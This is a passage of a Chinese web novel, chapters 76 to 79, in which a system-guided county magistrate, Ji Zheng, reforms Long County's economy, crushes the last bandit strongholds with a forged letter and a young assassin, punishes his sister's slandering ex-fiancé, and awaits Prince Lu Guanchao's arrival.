季铮道,“确实是有事,我走之前交给你的图纸,可琢磨清楚了。” 陈昇一听这个就来劲了,他当场掏出怀里的图纸,给季铮展示,“我全弄明白了!这几件已经造出来雏形了,我试了试,能用。” 季铮看着他满是修改痕迹的图纸,也一样欣喜,道,“如此就好,我打算在陇县各地都建好,要辛苦你了。” “这有什么的!”陈昇一拍胸脯,“我一定做得漂漂亮亮,不过……” 季铮以为他有顾虑,问道,“不过什么?” 陈昇四下看看,“陆哥呢,以前我和你聊天他总在一边,今日不在啊,我问季阿姐也不告诉我。” 季铮哽住了,不知该怎么解释,他看着季秧,季秧看天看低,就是不给他解围。 “嗯……”季铮对着陈昇疑惑的双眼,撒谎道,“他回老家了。” 陆观潮老家。 陆泽批阅着这几日的折子,福寿禄在一旁研墨。 半晌,陆泽问,“珏王怎么样了,可有和镇南候联系?” 福寿禄答:“回圣上,探子来报,并无异常,珏王一直都在府内闲着。” “闲着。”陆泽嗤笑道,“还真能安心,岭山候呢?” 福寿禄正要汇报,闻言道,“岭山候昨夜已经到了,在花楼酒肆玩了了一夜,如今应是还没玩够。” 反正他是这幅性子,陆泽也没在乎,倒是手上的折子吸引看他的注意,是黄狄来的。 称他与季铮途中遇敌,大 肆赞美了一番季铮怜爱百姓,英勇化解,离开时众人来送,泪湿衣襟。 这不知是哪天的折子了,陆泽看了看就放下了。 福寿禄眼尖的瞥到,主动提道,“这还有一封陇县的折子,想来黄大人和季大人已经到了,圣上要看看吗?” 陆泽一抬手,折子放到他手里,他翻开一看,眉头一抽。 福寿禄还以为是犯了错,倒了杯热茶给圣上,“圣上消消气。” “朕消消气。”陆泽笑了,他把折子甩到桌上,指着折子给福寿禄吐槽,“这季铮在陇县闹翻天了啊。” 福寿禄看了一眼,顿时心惊,什么翻案涉及人员能有这么多,这是把整个陇县的官员都告了,难怪那么厚一沓子。 他看得出来圣上并不是不喜,纠结着措辞道,“季大人真会大胆,这才当上县令就闹出这么大的动静,也不怕他人抓住错处。” “那不然为什么来这封折子?” 不就是先斩后奏,找他要包庇了吗? 陆泽喜欢这种愣头青,心下顶多有些好笑,他下笔随口称赞几句,又令福寿禄挑几件宝物赐下以示嘉奖。 末了,他对着这密密麻麻人名,笑道,“随他去吧。” 陆泽这赏赐一下,几乎是默许了季铮瞎胡闹,季铮便撒开欢开始操作了。 “大人!”田观雪这日来报,“今日来的人明显减小,差不多明天就能将陇县人口重新登记完成。” 他来时,季铮在院里拉弓射靶子,在圣上寿辰时他才发现自己这三脚猫功夫根本不够看,回陇县后马不停蹄的锻炼起来。 箭射出,正中靶心,季铮放下弓,道,“可记得说明有新生儿上报,家中有人去世,都可领钱。” “说了。”田观雪道,“不仅如此,发现无名尸体上报,奴籍乞丐一并领钱也都说明了。” 季铮点点头,“干得不错。” 田观雪开怀道,“有大人这一句话,我就是累断腿也值了。” 一旁陶疆交出名单,“这是登报务工的名单,按规矩无家可归者,残疾和一年内没务工者优先,依次在这了。” 他挠挠头,又问,“大人需要这么多人做什么?” 季铮招呼陪练的陈昇也看。 看罢,陈昇摇了摇头,“还不够。” 要想在全陇县建上那些农具,这点人手远远不够。 如今府内蛀虫都清除了,陇县百姓也统计了,接下来就是经济。 季铮的想法是,先解决农业,再搞商业,最后是百姓文化,一步推一步,环环相扣。 他前几日见了宋有音,做好了一套计划,只等修完农具狠狠搞钱,造福百姓。 这卡在人手上,该怎么推行。 季铮不仅发愁,就见季秧闯进来,小姑娘一脸惊恐,“阿兄门外有一群人!” 季铮一懵,忙出去看,这才发现竟是兰屿维一众人。 兰屿维远远看到季铮,下马走来,“县令大人好久不见了,我来送人了。” 他向后一指,季铮眼睛瞬间就凉了。 有龙湖寨这些人在,人手是相当充足啊! 兰屿维将自己身边的兰香推出来,接着道,“我常年跑镖不方便,义弟便也交给县令大人了。” 小少年怯怯的向季铮打了招呼。 季铮欢喜的连声答应,又听兰屿维道,“哦,还有一人,也给大人处理了。” 不等季铮问,连和盛拖着虚弱的祝墨出现。 送工人季铮很喜欢,这送业绩……季铮也很喜欢啊! 于是有钱有人,季铮伟大蓝图终于有条不紊的开始实行了。 76.第 76 章 “头!” 营帐中,寨中几个当家的神情凝重,盯着桌上地图,落针可闻。 这时,帐外忽然传来一声呼喊。 坐在首领位上的男人心道不妙,紧张的看过去。 一个粗布短衫的矮小男人连滚带爬的奔进帐内,满眼惊慌,他跑的太快岔了气,张着嘴喘息说不出一句话。 气氛愈发焦灼,首领几步下座,一把抓起男人衣领,怒吼道,“快说!” 男人对上首领愤怒的面孔,瑟缩了一下,当下更加恐惧,“是……头!水龙寨已经被县令灭了,有人看到他们往我们寨子来了,我们快跑吧!” “妈的。”首领低骂了一声,心念飘忽,也拿不准主意了。 身后二当家慌了神,追上来劝道,“是啊头,咱们退一步保住性命再说,据说县令大人手段狠辣,毫不留情,前几日火凤寨全寨上下两百口人三天就被打下了。” 首领闻言,退堂鼓敲的更响。 两个月前,县令发布一则告示,宣布剿匪。 当时他在干什么?和其他寨子的头领把酒言欢,笑骂这新县令不自量力,他们在这陇县安营扎寨数十年,本家都是几代人选中的,可不是这小娃娃能找到的。 没承想,这县令不仅知道他们的位置,还一不做二不休,不消几日,手段干净利索的解决了几个主动挑衅的寨子。 据说,新县令功夫不浅,一把弓箭用的出神入化,能百米外取首级。 身边更是武功高强的壮士随行,饶是前几个寨子再怎样努力都近不了身。 这新县令势头太猛,步步紧逼,短短两个月的时间,陇县包括陇县方圆百里之内的寨子尽数剿灭,像一把熊熊大火似的烧过,烧了个干净。 如今水龙寨也被攻下了,陇县境内,劲只剩了他们这一个,自诩天不怕地不怕的寨子还幸免了。 这下,他是真的怕了。 就当首领要咬牙下令全寨逃跑时,三当家开口道,“头,还没到投降的地步。” 二当家不高兴道,“水龙寨离我们不过两天的路程,县令攻下水龙寨,下一个就是我们了。” 首领也看向二当家,期待他能说出什么话。 “这是一人今日一早送给我的。”三当家取出一封信件,神秘兮兮的问道,“头猜猜,这是谁给的。” 首领来了兴趣,追问道,“是谁?” 三当家不急着回答,只道,“你们就不好奇,这县令是怎么知道我们的位置的。” 几人顿时什么都顾不上了,继续等待三当家下言。 顿了顿,三当家接着说,“可记得龙湖寨的祝墨祝寨主,他被那前寨主算计落到县令手里了。” 首领倒吸一口凉气,“你的意思……这是祝墨的信?” “正是。”三当家展开信,待看清信上内容,三人皆是眼光一闪。 未尝不可一战。 首领阴恻恻的笑了笑,新县令不过是个小年轻,对付他们几个蠢货还能行,对付他?还差得远呢。 三月天,梨花香味扑鼻,整座山头远远望去花红柳绿,美不胜收。 少年一身青衫,骑马在最前面,背挂弓箭,披了件薄斗篷,海东青威风的立在肩头。 威风吹过,青衫随风鼓动,身后隐隐闻到人身上清爽的皂角味,好一个意气风发的少年郎。 田观雪摘了几支雪白的梨花,看着不远前的身影,夹马追上,“大人。” 季铮转头,就见田观雪笑得一脸不值钱,将花捧到他面前,“这花甚配您,属下采来送您。” “你啊,跟着我来踏青了吗?”季铮哭笑不得,嘴上这么说,还是接过花闻了闻,“不错,确实香。” 田观雪笑道,“我这不是为大人出谋划策吗?” 季铮瞥他一眼,无奈道,“这招要是能行,有赏,要是没用,你就留在山上摘一辈子梨花吧。” “诶呦大人啊。”田观雪嘴还不老实,“为了您高兴,就算做成了,您要让我摘多少花我都乐意。” 季铮笑骂了他几句,将花丢给陶疆,“帮我拿着。” 陶疆赶忙接住花,花枝被这么一震,雪白的花瓣纷飞,这么一看像是雪花似的。 季铮忽然想起他和陆观潮分开时,也下了雪,雪花竟和这白花瓣一样大,也不知大都的梨花开了吗。 他摇摇头,将这个想法抛掷脑后,现在还有的忙,不是胡思乱想的时候。 莫关源驾骂,催着一人快走,那人瞧着壮实,可走了几步扑腾一下倒下,正是祝墨。 季铮本打算直接处置祝墨,却因着他称使得大小土匪寨子位置才逃过一劫。 这两个月一直跟着季铮风餐露宿,吃又吃不好,谁有睡不安稳,怕季铮半夜砍了他,再好的身体也给熬坏了。 季铮盯着祝墨看了一会,往常这时,他会叫莫关源停下,一队人歇一歇,给祝墨喘息的空间。 而此刻,他只是静静地看着,不发一言,半晌那祝墨趴在地上没听到季铮命令歇息,装模作样的哀嚎起来。 莫关源抬眼看了看季铮,没见到其有别的表情,心中了然,提起鞭子狠狠甩到祝墨背上。 这一鞭子用了十足的力气,抽的祝墨打滚的力气都没了。 莫关源早就看不惯祝墨,这厮最会看人眼色行事,两面三刀的家伙,总惹得他们善心的大人松口,每次都放过他。 如今大人不反对,莫关源挑准时候,不得狠狠给祝墨一个教训。 “你装什么装。”莫关源又一鞭子甩在地上,激起灰尘迷了祝墨的眼睛,“这才过午,半个时辰前刚刚歇息过吃了午膳,你这会累了,当我是傻子?” 祝墨暗骂,他能察觉到季铮在看他,却不敢去看,只得在腹中骂季铮假真心,好人不做到底。 “祝墨。”季铮一摊手,要了莫关源手里的鞭子。 皮质鞭子被太阳晒了一上午,摸上去微微发烫,他掂了掂重量,又道,“我不希望你耍那些见不得人心眼,听清楚了吗?” 祝墨心跳漏了一拍,差点以为季铮发现了他的动作,一颗心怦怦直跳,顿了顿,他讪笑道,“怎会……” “抬头。”季铮不理他,冷声道。 祝墨被这声音激起一身鸡皮疙瘩,他依言缓缓抬头。 季铮不会冷脸,曾和陆观潮待久了,这乍一换了神色,倒是有几分相像,也不知道是不是学的陆观潮。 他道,“站起来。” 祝墨不受控制,下意识乖乖站起,下一秒鞭子拍在他脸上,温热的触感叫他喉间一紧。 季铮接着道,“老实点,我没有那么多耐心,别让我当坏人,好不好?” 鞭子在他脸上不轻不重的拍了两下。 狗啊,还是得训,才能听话。 祝墨抖着身子点了点头。 一边田观雪目光灼灼,仿佛这鞭子是打在他身上了,也抖了一抖。 见祝墨收敛起眼中一闪而过的仇恨,季铮笑了笑,收回目光,把鞭子还给莫关源。 一众人继续上路,隔了一会田观雪屁颠颠的跟上季铮,夸道,“大人,您可太帅了。”< /p>季铮笑他,“怎么,我也扇扇你?” 田观雪还真思考了起来,季铮抬手一拍田观雪坐下马屁,骏马长嘶一声,带着他快速奔去。 “啊——”田观雪委屈,“大人啊,我不敢了——” 祝墨这回老实多了,安安静静的跟在后面。 寨内,一派庄重之色。 二当家焦急的在帐内走来走去,最后实在忍不住了,他问道,“祝墨不是说了预计这会到吗,怎么还不来。” 首领啧声道,“这人又不是你肚子里的屎,想什么时候拉就什么时候拉。” 二当家哽住了,面有菜色,他又道,“我都知道,可这可是县令啊,真的行吗?” “县令?”三当家笑了,“再怎么说也是一个文人,小孩子而已,还怕他?” 大当家很喜欢三当家此言,“老三说得对,这县令才怎么厉害,也不过是个小娃娃,自投罗网,到时看我杀县令助兴。” 二当家连连叹气,县令是想杀就能杀的吗。 “不好意思。” 头顶忽的传来一声阴寒的陌生声音。 三人皆是一惊,立即抬头去看。 只见屋顶上倒挂着一个少年,见他们看来,冷着脸招了招手。 “你们应该是杀不了我家大人了。”少年蒙上面罩,翻身落地,从背后抽出一柄长刀,再抬眼森气尽现,“因为……” 少年似乎是笑了一声,刀光逼人,三人都顾着忌惮这刀了,没注意看。 “因为,我要先杀了你们。”少年提起刀,“给我家大人解忧。” 他说罢,横刀攻来。 三人终于反应过来,四下找兵器,匆忙之中怎能如愿。 少年一手抓住二当家的头发,往后一拽,长刀划过,鲜血喷出。 他拎着二当家的脑袋,面色如常,只道,“是你先骂的我家大人,我听到了,下一个是……” 大当家一慌,跌倒在地,他高声呼救,却始终没有一人进来,心凉了半截。 此时账外,几个土匪抱头鼠窜,三当家趁机偷偷溜出主帐,逆着人群四处躲闪。 季铮在高处眯了眯眼,抬手指着三当家,对祝墨问,“那是三当家?” 祝墨不可思议的看着这一切,愣愣道,“你都知道……你在耍我!” “耍你?”季铮连看都没看他,拉弓搭箭,对准了人群中自以为是藏得隐蔽的人,道,“我为何要耍你,你很有意思吗?” 祝墨面如死灰,“你就不怕县丞?” 季铮笑得更开怀了,“是谁给你的自信,让你认为我县令府牢内松到,能让你钻到空子。” “那……那他们的信……”祝墨眸中黯然失色,他心中已有猜想,还是问了出来。 田观雪笑呵呵的踹了他一脚,他虽是文人,但脚上力气可不小,这一脚踹得他跪倒在地,“哎呀,是我们大人伪的字,我命人送的,像不像?” 季铮对着人比了一会,又道,“还要感谢你,这下再给那几个人扣上一顶帽子,就可以一锅端了。” 祝墨迟迟爬不起来,就这么跪在地上。 “咻”的一声,羽箭射出,以迅雷之势飞出去。 季铮放下弓,恰好这时,羽箭射进三当家脖颈,一击毙命,三当家慢悠悠的倒下。 田观雪赶忙跑马屁,“大人真是英勇神武!” 季铮又搭上一支箭,这次对准了祝墨。 祝墨汗毛直立,一动不敢动。 “你猜猜。”季铮笑道,“我会射中哪?” 77.第 77 章 季铮搭弓吓唬了祝墨了一会,就让人把他带下去了,没真动手。 这寨子人多,季铮盯着局势看着,密密麻麻的人影,没了主心骨,顿时如无头苍蝇一般四处乱撞。 季铮安排过了,不伤人留活口,但若那人反抗剧烈,为自保可杀,手下的人严格执行,因此慢了许多。 他看了一会,身后传来传来声音。 “大人。”少年音调带着些不易察觉的开心,道,“我完成任务了。” 季铮转头,来人一身黑衣,身上血迹并不明显,但不知为何,脸上沾上的血就是不擦,像是要展示给谁看一样。 “兰香,你回来了。”季铮笑了笑,抓着兰香的肩膀,上下把人好好看了一遍,“不错,可有受伤?” 少年脸红了一片,摇头道,“我没有。” 下一瞬,大人掏出手帕,亲手为他擦去脸上血迹。、 兰香脸更红了,扭扭捏捏的说了声谢大人。 他将手上提着的盒子交给莫关源,又对季铮道,“这是不好的东西,不能脏了大人的眼。” 季铮猜到是谁的头颅,一点头,又问,“你都杀了?” 提起这个,兰香有些失落,垂下头去,“大人,我错了,三当家没发现,叫他跑出去了。” “无妨。”季铮没忍住摸了把兰香的脑袋,“我已经杀了。” 兰香是兰屿维一并留给他的,原以为这孩子怕生腼腆,没承想熟了以后,是个极可爱又凶猛的小少年。 他严肃脸杀县丞他们派来的刺客时,真是叫季铮吃了一惊。 兰香眨了眨眼,不知是因为季铮说无妨高兴,还是因为季铮摸他头高兴。 季铮说罢,又对莫关源道,“将这脑袋挂上,下去吓唬一顿,咱们早点弄完回家。” 莫关源答应,捧着脑袋跟捧着珍宝似的走了。 人走后,兰香不好意思的闻了闻自己身上的味道,问道,“大人,我身上是不是有味道?” “什么味道?”季铮不解道,“我没闻到。” 兰香挠了挠脑袋,“就是,我刚刚杀人,沾了一身血,会很难闻吗?大人身上就香香的。” 连帕子都是香的,很好闻。 季铮这下懂了他的意思,笑道,“肥皂用完了吧,我回去再给你送一点。” 兰香猛地点头,小孩子心性的要小鸟图案,求着季铮给他雕。 一遍田观雪不甘示弱,也向季铮讨赏,“大人说了我做成了就有赏,我要梨花的。” 季铮被缠的没办法,连带上一起来的陶疆,一人应允了一块。 几人在的地方恰好有一树野海棠树,花开的正茂盛,看兰香还是很在意身上味道,季铮摘下一枝花抬手别到兰香耳边。 季铮勾起唇角,调笑道,“这下不是兰香,是海棠香了。” 兰香一怔,慢慢摸上耳边鲜花。 “大人!”田观雪也道,“我也总觉得我有味,给我也带一只呗。” 季铮无奈道,“多大年纪了,还和兰香一个小孩子争。” “我才二十六呢……”田观雪撇了撇嘴。 这么仔细一看,田观雪的确生的有几分姿色。 兰香急匆匆的道,“我十六!” 陶疆看在眼里,暗自为季铮捏了一把汗。 这两人争宠起来还真是没完没了。 有自家老大脑袋当武器这么一吓,人群失去反抗意识,认命般的被压下。 回程路上,兰香和田观雪像是较上劲了,一个劲的暗戳戳的争宠。 连莫关源都觉出不对劲了,他问陶疆,“这俩今天是怎么了,话真多。” “不一直是这样吗。”陶疆道,“争个没完,也不知在争点什么。” 最终,两人这场无声较量以季铮烦不胜烦,夹马跑路结束。 陇县内已经换了一副天地。 季铮才下马进城,就有人认出他,夹道欢迎,“县令大人回来了!” “什么?县令大人回来了,哪呢?!” “县令大人又剿匪去了!昨日报上不是说,这是最后一窝了吧。” “是啊,要不是县令大人,我现在都不敢去山上呢。” “……” 种种议论声不绝于耳,左右不过围绕着县令大人多么多么厉害,多么多么威武,自己多么多么佩服。 季铮听得耳朵都起茧子了,趁人还不多,绕了个小胡同先开溜。 才进府门,就见宋有音和史生海在院子有一搭没一搭的闲聊,想来都是来找他汇报工作的。 季铮过去打了声招呼,叫着人去书房坐。 书房,史生海率先开口,“大人前几次送来的人我都做好思想建设了,改了籍贯,从的人收入官兵,不从的人或务农务工,都分配好了,这是名单。” 季铮看了眼名单,点点头,鼓励道,“做得好,你可以去吃饭了。” 史生海燥得脸红,“大人,您就别提这茬了,我不急。” 那次后,季铮时不时就要逗一逗史生海,硬生生把这人从呆愣的模样逗成现在敢说敢反驳的地步。 季铮笑了笑,便不再捉弄他,问宋有音,“你这里如何了。” 宋有音将这半个的账簿交上去,道,“商户又加入了几户,我算了算,没剩下几家了。” 商会,季铮和宋有音捣鼓出的新东西。 自从剿匪行动开始,越来越多的人加入官兵,但兵一多,没点事做可不行,毕竟是在土匪窝里混过的,难保不会再犯。 于是季铮多先办了几场集会试水,给官兵们安排个巡逻的事,从一月一办改为五天一办,百姓渐渐适应了,于是又紧接着解除宵禁,为做吃食者减部分摊位费,促进消费,办了夜市。 自然,百姓无钱,他做什么也白搭。 于是季铮又推行务工,简单说就是弱化原本的死契,多为活契,就如现在签合同找工作一般,加了保底工资和提成。 现今,除了是在走投无路,没人会签死契。 这个由头还是之前兰屿维送的工人,与莫关源他们忙完一阵后没事干了,为了安置他们,季铮想的。 这些为官府做过事的,会发放一份官府亲出的“简历”,找工时优先考虑招收,官府替雇主垫付工钱二成。 那这办集市夜市,补贴工钱的又是从何而来。 正是宋有音说的商会。 一个人行商没有保障,找不到客源,得不到扶持,难免赔的倾家荡产,加入商会,官府给托底。 没用客源,没关系,加入官府即可免交摊费在集市夜市摆摊,人不就有了。 没用钱,没关系,与其借别人的黑心贷,不如借官府的贷款,加入商会,便可免一半利息,甚至优先 办理。 没技术,没关系,商会中多是有技术的,每月大会时随你们交际。 百利而不一害,于是越来越多大商贩小商贩加入商会,不就是每月交点钱而已,能省这么多,赚了赚了。 季铮就凭着这每月会费摊位费,维持支出,环环相扣。 他和几人聊了几句,又吩咐了几句注意事项,就送两人出去。 才出门,就听到一阵吵闹声。 远远就看到季秧被李芸护在身后,面前有一男子在喋喋不休的说着什么。 季铮瞧见季秧不对劲,皱了皱眉,急忙走上去。 “这位是?”季铮拉过季秧,和李芸对了个眼色,转而问男人,“不知是找我妹妹有事?” 李芸松了口气,狠狠瞪了男人一眼。 男人看到季铮,惊喜道,“季大哥,你还记得我吗,我是温萍啊!” 季铮没说话,又听男人道,“我是季秧定下亲事的未婚夫,季大哥你见过我的呀。” 听他一说,季铮还真想起这事,季秧曾经确实有亲事,不过因为要赚钱养原身迟迟未婚,两家明面不说,但已是断交的情况,这亲事早就不做事了。 后面还听说温萍重新仪亲的事,怎么忽然…… 他回头看了一眼季秧,季秧眼圈红红的,很抗拒的样子。 季铮了然,这是看发迹了想攀咬一口啊。 他还维持体面,对温萍道,“温公子,请回吧。” “季大哥!”温萍不依不饶道,“我就是和季秧见见面。” 李芸“呸”他,“只是见面,你刚才又拉又扯的,要是我不在,你打算带季秧去哪?” 温萍嗫嚅着,说不出话,坐实了罪名。 季铮冷下脸,“要我送你吗?” 温萍咬牙,道,“季铮,你现在成了县令,就忘了老乡亲了,若我告之他人……” “你敢。” 门外,兰香进门,毫不客气的抽刀,“你也知道我家大人是县令,还敢直呼大人名讳,不想活了吗!” 田观雪笑着道,“对大人不敬,按律,打五大板。” “是的。”陶疆跟着开口,“请跟我与莫侍从来吧。” 被几人看着,温萍脸色涨红,一个字也憋不出了。 季铮道,“你现在,还要闹事吗?” 大都。 陆观潮收到一封信,来自陇县。 信封精致漂亮,画着他不知名的白花,塞得鼓鼓囊囊的。 陆观潮疑惑,季铮说了怕被陆泽察觉,不与他通信,他忍得好苦,每每都是自己写完攒起来,不敢发出,季铮这边怎么先变卦就寄来了。 但这不影响他高兴。 信封是季铮画的,陆观潮担心弄坏,小心翼翼的拆开,从里面掏出一张纸条,和被棉花包裹的树枝。 纸条写道,“陇县梨花开了,想君心悦,聊赠一枝春,待到陆郎归来,共赏春色。” 陆观潮自己都没发现,自己笑得有多开怀。 他捏开棉花,一支梨花露出,花已经都干了,树枝造型精美,一定是季铮细心摘取的。 陆观潮心以暖,将梨花放到胸口,仿佛也闻到了陇县的梨花香。 顿了一会,陆观潮收好梨花,出门去叫赵年, “计划该施行了。” 他想季铮,想得不得了。 78.第 78 章 最终季秧扯了扯季铮的衣袖,摇了摇头,季铮松口放过温萍。 温萍低着头灰溜溜的离开了。 兰香问,“大人,小姐,他可有冒犯你们,我去杀了他。” 季铮哭笑不得,季秧也被他逗笑了。 看季秧笑了,季铮也就放心了,郑重的和兰香说不用下此毒手,又安抚了众人几句,便告辞离开了。 他还有每日的工作要看,更重要的事,今日回城之时系统弹出的消息,不过方才忙完史生海和宋有音,就是季秧的事,他还没来得及细看。 点开系统光屏,系统弹出面板,【恭喜宿主,目前身份陇县县令,地点一:陇县,百姓幸福度:9;设施建设:7;经济发展水平7.5;宿主声名值:10,满分10分,及格6分,超常完成任务!】 【奖励成功发放,宿主请查收~】 【发布下一阶段任务,整体名声值提升:名震一方,将系统爱民之风传播到更远地方,奖励:水泥。】 脑子涌入一些新奇事物,季铮闭上眼反应片刻,这才缓过神。 一些养护土地,施肥肥料的法子,这些暂时还用不上,季铮压下这念头,又禁不住想季秧的事。 这个温萍,手段可不简单啊。 果不其然,没过几天,外面竟传出,县令嫌贫爱富,纵容妹妹舍弃未婚夫,甚至将前来拜见的未婚夫一顿揍,至今还伤着。 一时之间众说纷纭,季铮爱民仁慈的形象太深入人心,刚开始鲜少有人相信,但架不住这谣言有趣,人都爱凑热闹,传着传着,还真有人信了。 陈昇听到这个消息时,急匆匆的来找季铮,他忙着做农具的收尾工作,很少回县令府找季铮,难为他是因为谣言才不管不顾的赶回来。 他到时,季铮还在看今日百姓报,他前不久设了一个专栏,配一个识字的书生,将百姓所需所想一一登记,每日直接呈给他本人,方便季铮随时调整措施。 这是季铮连续三天看到,请求县令给出一个解释,关于包庇家妹抛弃丈夫。 谣言害人,明明是亲事不作数的前未婚夫,传着传着,竟变成了丈夫。 季秧窝在房间里闭门不出,连饭都吃的很少,季铮去劝,也只得到小姑娘一句“我没事,阿兄不必担心”。 他看在季秧的面子上,不想和温萍多计较,这下,是不得不出手了。 陈昇才建完一批翻车回来,脸上还沾着灰,衣服都没来及换,袖口有些磨边,他焦急的走来走去, “这温萍是隔壁村的,我当吃就看不惯他,表面看着乖,其实心眼小的很,我听说他前不久和人姑娘仪亲,半道又看不上了,故意损害好姑娘的名声!” 季铮越听眉毛皱的越深,还半晌,陈昇才骂完,他看季铮,道,“季铮哥,你不要放过他,放他去祸害别人家姑娘。” “不会。”季铮长舒一口气,对着门外道,“兰香,帮我个忙。” 下一秒,兰香进门来,像是一直在门外候着,就听着季铮安排,他道,“大人请说。” 季铮道,“把温萍打一顿,他不是说我打了他,那就真打一顿试试吧。” 陈昇:“……?” 这对吗? 兰香却接受良好,“我这就去。” 他转身要去,季铮又叫住他,道,“算了,把他带过来,我亲自打,可别又让他挑刺了。” 陈昇:“!!!” 这更不对吧! 兰香眨眨眼,没想到大人这么豪爽,立刻接受出门抓人了。 兰香干活麻利,不过两炷香,温萍就被堵着嘴,五花大绑的带来了。 一个人以一种扭曲的姿势在地上挣扎,陈昇睁大眼睛,惊讶不减反增,“还真就带来了!” 虽然很解气是真,但不对劲吧。 这样真的可以吗? 季铮收起桌上纸张,起身踱步到温萍身边,先是夸了兰香做得好,才蹲下身子,把温萍嘴里的破布扯出来。 也不知兰香用的什么布,怎么一扯出来,季铮就闻到一股怪味,哦,是这人嘴太丑了。 季铮捏着鼻子,道,“嘴够臭的啊,你吃屎了吗?” 陈昇张大嘴巴,反观兰香兴致勃勃,在他眼里,自家大人做什么都帅得很。 温萍喘着粗气,盯着季铮,惊恐到一句话都说不出口。 兰香没好气的踹了他一脚,“大人问你了,是不是吃屎了,你要想现在吃也没关系。” 温萍声音压得极低,“谢过好意,我不用了……” 他正在家中休息,这人忽的闯入,不等他问话,就被堵嘴悄无声息的绑到这里,换谁谁不惊恐。 季铮一把把温萍提起来,笑了,“就你这小身板,还想娶我妹妹?” 温萍头摇的像拨浪鼓一样,连声拒绝,“不敢了,我再也不敢了。” “哦。”季铮颔首,“不敢了啊。” 温萍又一个劲的点头。 季铮笑眯眯的看着他。“可你还是要成亲的啊,身为你的前大舅哥,我不能不管。” 温萍咽了口唾沫,直觉不是好事。 季秧听到季铮要找她一起看戏时还有些懵,她问陈昇,“是哪出戏啊?” 陈昇难道磕巴了,“或许是……季铮哥自己演的戏吧。” 后院,温萍被绑到树桩上,头上挂着靶子。 季秧惊呆了,她顿在院口,嘴角抽了抽。 季铮黑发带蒙着眼,手持弓箭,笑得意气风发,“小心点,我可看不见。” 温萍连挣扎都不敢了,看不见不能把发带摘了吗?他怎么小心! 一边兰香在加油鼓气,“大人大胆射,射歪了也没关系!” 温萍眼珠子都要瞪出来了,什么没关系,他很有关系啊! 一箭射出,季铮摘掉眼罩,正射准靶心,他遗憾道,“可惜可惜,没射中。” “没事大人。”兰香递上新箭,“还有呢。” 没射中,温萍胆寒,没射中他吗。 大都。 圣上要聘姜家二女为皇后的圣旨早就传开了,除此之外,倒是不偏私的又聘了刘氏王氏家中二女,封了同样的位分入宫。 一下子娶一后二妃,宫中喜气洋洋的准备着。 与此同时,陆观潮等在外殿已有一个时辰。 他望向窗外,一只麻雀在枝头叽叽喳喳的跳跃。 陆观潮想,年初的时候,季铮大冷天在殿外候着,还下了雪,一定比他难熬,就这样季铮出来还安慰他。 这样想着,他一颗心就酸酸涨涨的疼,下意识摸上发间木簪。 是季铮寄给他的那支梨花,他在哪摆着都不安心,恨不得随身带着,于是就微微改了一下做成木簪日日戴着。 “殿下。”福寿禄站在门外,“圣上有请。” 陆泽知道陆观潮来找他是为什么,除今日之外,这个月也来找过他几次。 不同的是,这几次格外识相,陆泽一有点不悦的苗头就主动走了。 正所谓事不过三,这回陆泽是真无法拒绝了,更何况都三月了,无法再留了。 人逢喜事精神爽,他看到陆观潮也没那么厌恶了,对面旁敲侧击的提了一嘴,陆泽便松口放人了。 甚至还有 闲心劝他尽早成亲。 往常很抵触的陆观潮,居然没说话,默了一会,他问,“臣弟能自己选了?” “哦?”陆泽提起兴致,“你有喜欢的人了?” 谁家姑娘遭雷劈了,被他喜欢上了。 陆观潮故作不好意思,“不是,臣弟想自己选。” “准。”陆泽料想能喜欢陆观潮定是个离经叛道的姑娘,也就没多忌惮,万一这次也克死了呢? 他笑着道,“朕准你自己选。” 陆观潮抬眼看他,“选谁都行吗?” “自然。”陆泽应允道,“只要大周内,选谁朕都替你做主,君子一言驷马难追。” 陆观潮这下满意了,告辞退下。 他走后,福寿禄担心问,“珏王殿下会不会起心思了。” 陆泽不以为意,“他?恐怕只是说说,谁家姑娘会嫁给他。” 事实正如陆泽所料,在他准许后到离开大都,陆观潮都没提出娶谁,看来真是说着玩。 陆泽下旨后,不止陆观潮,镇南候与岭山候也要各回各地了。 镇南候约定了和陆观潮一道走,而岭山候听说自己西北,一百个不愿意,干脆赖在大都不走了 陆泽也不管他,反正西北有他没他都一样,放到眼皮子底下还安心些。 时间一晃,终于是要出发了,陆观潮心情好得像小孩得了糖一样,一路上都是笑着的。 叫从没见过他笑的镇南候很是稀奇,想起大都今日最热门的传闻,问道,“你还真有喜欢的人了。” 陆观潮心情很好,便道,“是。” 叶萧禾很好奇这人是谁,正要问时,陆观潮停下马,朝他告别。 “不是还有一段?”叶萧禾看了看驿站编号,没弄懂他要干什么。 陆观潮笑道,“我要去陇县,这里走更近。” 叶萧禾只当他去接季铮,没多想,心里还不忘陆观潮有喜欢的人这件事,点点头道,“你来日成亲,请我喝喜酒啊。” 陆观潮策马带着队伍走上另一条路,挥手道,“如果能的话。” 如果他和季铮真的能成亲呢。 张佴与赵年也与叶萧禾匆匆告别,跟上陆观潮。 两人跟在格外悠哉的陆观潮身后,对视一眼,从对方眼里看到见鬼了的表情。 他们殿下有喜欢的人了,他们为什么不知道。 夕阳西下,陆观潮估摸着天数,还有好几天才能见到季铮,但一想能见到人,时间长点又有什么关系。 只不过是,他想季铮想得多一点罢了。 圣上娶后的消息插上翅膀传到陇县,季铮还叫人播报了这事。 温萍那日之后是彻底怂了,不敢再声张,季秧也终于不低落了,跑出跑进的继续忙碌。 传着传着,不知是谁说,珏王殿下也要娶妻,圣上下旨,让他随意挑选,看中谁就把谁带走就成。 又说,某某行商撞见珏王队伍,得知珏王往陇县来了,看样子是要停留一段时间。 珏王队伍带着好几车东西,也许就是聘礼呢! 于是又有人猜测,珏王要娶的人就在陇县。 他们闲的没事干,一一排查陇县有名女子,算来算去,算到季秧头上了。 一来,据说珏王和县令认识,那一定认识县令妹妹,二来,就没什么逻辑了,单纯是季秧因为温萍,最近名头正盛。 季铮在百姓报上看到无数百姓向他道喜时,一张脸的表情都扭曲了。 陆观潮,要娶他妹? 都有病吧,说得和真事一样,要是他不认识陆观潮,差点就要信了。 79.第 79 章 陆观潮抵达陇县时,在城门外迟迟不敢进。 他不动声色的反复看了几遍城门上陇县两字,再看过往百姓,以及在城门查验身份牌的壮士,怀疑自己是不是到错地方了。 这好像不是他记忆里的陇县。 张佴看了会人群,兴致勃勃的和赵年道,“这里就是陇县了?原来不知道竟如此繁华,真是有趣,那壮士查的是什么东西,我远远看着还发钱了?” “……” 赵年神色复杂的顺着城门看到里面的摊贩,隔着老远都听到吆喝声,这都傍晚了,在大都马上就到宵禁时间了,怎地陇县还这么热闹。 半晌,赵年道,“或许是吧。” 